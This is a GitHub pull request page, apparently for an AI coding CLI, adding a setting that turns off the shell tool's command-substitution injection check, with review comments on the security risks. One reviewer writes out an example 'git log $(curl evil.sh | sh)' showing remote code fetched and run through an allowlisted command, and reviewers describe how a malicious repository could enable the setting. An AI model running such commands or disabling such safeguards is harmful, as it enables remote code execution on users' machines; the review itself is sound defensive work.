Skip to content

feat(core): add allowCommandSubstitution toggle in settings #27400

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
manohar-munna wants to merge 1 commit into
base: main
Choose a base branch
from
Open

feat(core): add allowCommandSubstitution toggle in settings #27400

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions packages/cli/src/config/config.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1004,6 +1004,7 @@ export async function loadCliConfig(
disableAlwaysAllow:
settings.security?.disableAlwaysAllow ||
settings.admin?.secureModeEnabled,
allowCommandSubstitution: settings.allowCommandSubstitution,

@gemini-code-assist gemini-code-assist Bot May 23, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-high high

The allowCommandSubstitution setting is honored from the workspace configuration without verifying if the workspace is trusted. A malicious repository could enable this setting via a local configuration file (e.g., .gemini/settings.json), bypassing security checks in ShellTool and enabling command injection. This setting should be protected by a trustedFolder check, similar to approvalMode and extensionRegistryURI. Additionally, ensure allowCommandSubstitution is accessed from the security object in the settings schema to maintain consistency between the schema and TypeScript interfaces.

Suggested change
allowCommandSubstitution: settings.allowCommandSubstitution,
allowCommandSubstitution: trustedFolder ? settings.allowCommandSubstitution : false,
References
  1. Workspace-level configurations should be treated as untrusted by default. Security-sensitive settings must be loaded from trusted user-level configuration and should not be overridable by workspace settings unless trust is explicitly granted.
  2. Ensure that JSON schemas for configuration match the corresponding TypeScript interfaces.

showMemoryUsage: settings.ui?.showMemoryUsage || false,
accessibility: {
...settings.ui?.accessibility,
Expand Down
11 changes: 11 additions & 0 deletions packages/cli/src/config/settingsSchema.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -183,6 +183,17 @@ const SETTINGS_SCHEMA = {
'Additional admin policy files or directories to load.',
),

allowCommandSubstitution: {
type: 'boolean',
label: 'Allow Command Substitution',
category: 'Security',
requiresRestart: true,
default: false,

@dimssu dimssu Jun 24, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With the default false, the issue's primary motivation — token/turn waste — is unchanged for everyone who doesn't flip this. The model still emits $() commands, still gets blocked at execution time, and still has no advance signal that the command will be rejected, so the turn is still wasted. The toggle only helps users who opt fully out.

The linked issue's #1 problem is "the model has no way to know in advance the command will be blocked," and it explicitly asks that YOLO mode default to true or surface a warning so the model can adapt. This PR delivers the literal configurable toggle but doesn't address the advance-signal problem (e.g. reflecting the block in the shell tool description so the model avoids generating substitution when it's disabled), and intentionally drops the YOLO behavior. Worth confirming with maintainers whether that scope is acceptable for closing #27393.

description:
'Allow command substitution (e.g., $()) in shell tool execution.',

@dimssu dimssu Jun 24, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The description doesn't convey what enabling this actually does. It disables a command-injection protection — including for commands that were allowlisted or "always allowed" — which is exactly what the block's own llmContent describes as a security risk. Since this is the text users see in the settings dialog before flipping a security control, it should state the risk explicitly, e.g. "Allow command substitution ($(), backticks, <()) in shell commands. Warning: this disables a command-injection safeguard and lets substitution run inside otherwise-approved commands."

showInDialog: true,
},
Comment on lines +186 to +195

@gemini-code-assist gemini-code-assist Bot May 23, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The allowCommandSubstitution setting should be nested within the security object properties rather than being a top-level setting. This maintains consistency with the existing configuration structure where security-related toggles (like toolSandboxing and disableYoloMode) are grouped together. While the category: 'Security' property handles the UI grouping in the settings dialog, the JSON structure in settings.json should also reflect this hierarchy for better maintainability and user expectation.


general: {
type: 'object',
label: 'General',
Expand Down
7 changes: 7 additions & 0 deletions packages/core/src/config/config.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -639,6 +639,7 @@ export interface ConfigParameters {
bugCommand?: BugCommandSettings;
model: string;
disableLoopDetection?: boolean;
allowCommandSubstitution?: boolean;
maxSessionTurns?: number;
acpMode?: boolean;
listSessions?: boolean;
Expand Down Expand Up @@ -923,6 +924,7 @@ export class Config implements McpContext, AgentLoopContext {
private readonly maxAttempts: number;
private readonly enableShellOutputEfficiency: boolean;
private readonly shellToolInactivityTimeout: number;
private readonly allowCommandSubstitution: boolean;
readonly fakeResponses?: string;
readonly fakeResponsesNonStrict?: string;
readonly recordResponses?: string;
Expand Down Expand Up @@ -1298,6 +1300,7 @@ export class Config implements McpContext, AgentLoopContext {
params.enableShellOutputEfficiency ?? true;
this.shellToolInactivityTimeout =
(params.shellToolInactivityTimeout ?? 300) * 1000; // 5 minutes
this.allowCommandSubstitution = params.allowCommandSubstitution ?? false;
this.extensionManagement = params.extensionManagement ?? true;
this.extensionRegistryURI = params.extensionRegistryURI;
this.enableExtensionReloading = params.enableExtensionReloading ?? false;
Expand Down Expand Up @@ -3733,6 +3736,10 @@ export class Config implements McpContext, AgentLoopContext {
return this.enableShellOutputEfficiency;
}

getAllowCommandSubstitution(): boolean {
return this.allowCommandSubstitution;
}

getShellToolInactivityTimeout(): number {
return this.shellToolInactivityTimeout;
}
Expand Down
1 change: 1 addition & 0 deletions packages/core/src/tools/shell.test.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,7 @@ describe('ShellTool', () => {
},
getGeminiClient: vi.fn().mockReturnValue({}),
getShellToolInactivityTimeout: vi.fn().mockReturnValue(1000),
getAllowCommandSubstitution: vi.fn().mockReturnValue(false),
getEnableInteractiveShell: vi.fn().mockReturnValue(false),
isInteractiveShellEnabled: vi.fn().mockReturnValue(false),
getShellBackgroundCompletionBehavior: vi.fn().mockReturnValue('silent'),
Expand Down
10 changes: 9 additions & 1 deletion packages/core/src/tools/shell.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -464,7 +464,15 @@ export class ShellToolInvocation extends BaseToolInvocation<
} = options;
const strippedCommand = stripShellWrapper(this.params.command);

if (detectCommandSubstitution(strippedCommand)) {
const allowCommandSubstitution =
typeof this.context.config.getAllowCommandSubstitution === 'function'
? this.context.config.getAllowCommandSubstitution()
: false;
Comment on lines +467 to +470

@gemini-code-assist gemini-code-assist Bot May 23, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The use of typeof ... === 'function' to check for the existence of getAllowCommandSubstitution bypasses TypeScript's type safety and violates the principle of coding against the interface contract. Instead of a runtime check, the AgentLoopContext interface (or the type of this.context.config) should be updated to include this method. This ensures that any implementation of the context is forced to provide the necessary configuration, preventing silent failures if the method is renamed or missing in mocks. Other methods on the config object (like getShellToolInactivityTimeout on line 498) are called directly, so this should follow that pattern.

Suggested change
const allowCommandSubstitution =
typeof this.context.config.getAllowCommandSubstitution === 'function'
? this.context.config.getAllowCommandSubstitution()
: false;
const allowCommandSubstitution = this.context.config.getAllowCommandSubstitution();
References
  1. When consuming an object, if a property is optional in its type definition (interface), callers must handle the undefined case. Do not rely on implementation details; code against the interface contract.


if (
!allowCommandSubstitution &&

@dimssu dimssu Jun 24, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Building on the bot's security-high note on config.ts (the untrusted-workspace / trustedFolder vector), there's a second, distinct exposure worth scoping for. This is the only call site of detectCommandSubstitution, so the flag removes the guard entirely rather than relaxing it narrowly — and even for a trusted user in a trusted folder, turning it on re-opens command injection through commands that were already allowlisted or "always allowed": an approved git prefix plus git log $(curl evil.sh | sh) would auto-execute. A single global boolean is blunt for that. Consider scoping the relaxation so it doesn't apply to auto-approved/allowlisted execution, in addition to the trustedFolder gate already suggested.

detectCommandSubstitution(strippedCommand)
) {
return {
llmContent:
'Command injection detected: command substitution syntax ' +
Expand Down
1 change: 1 addition & 0 deletions packages/core/src/tools/shell_proactive.test.ts
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,7 @@ describe('ShellTool Proactive Expansion', () => {
isInteractiveShellEnabled: vi.fn().mockReturnValue(false),
getEnableShellOutputEfficiency: vi.fn().mockReturnValue(true),
getShellToolInactivityTimeout: vi.fn().mockReturnValue(1000),
getAllowCommandSubstitution: vi.fn().mockReturnValue(false),
} as unknown as Config;

const bus = createMockMessageBus();
Expand Down
Loading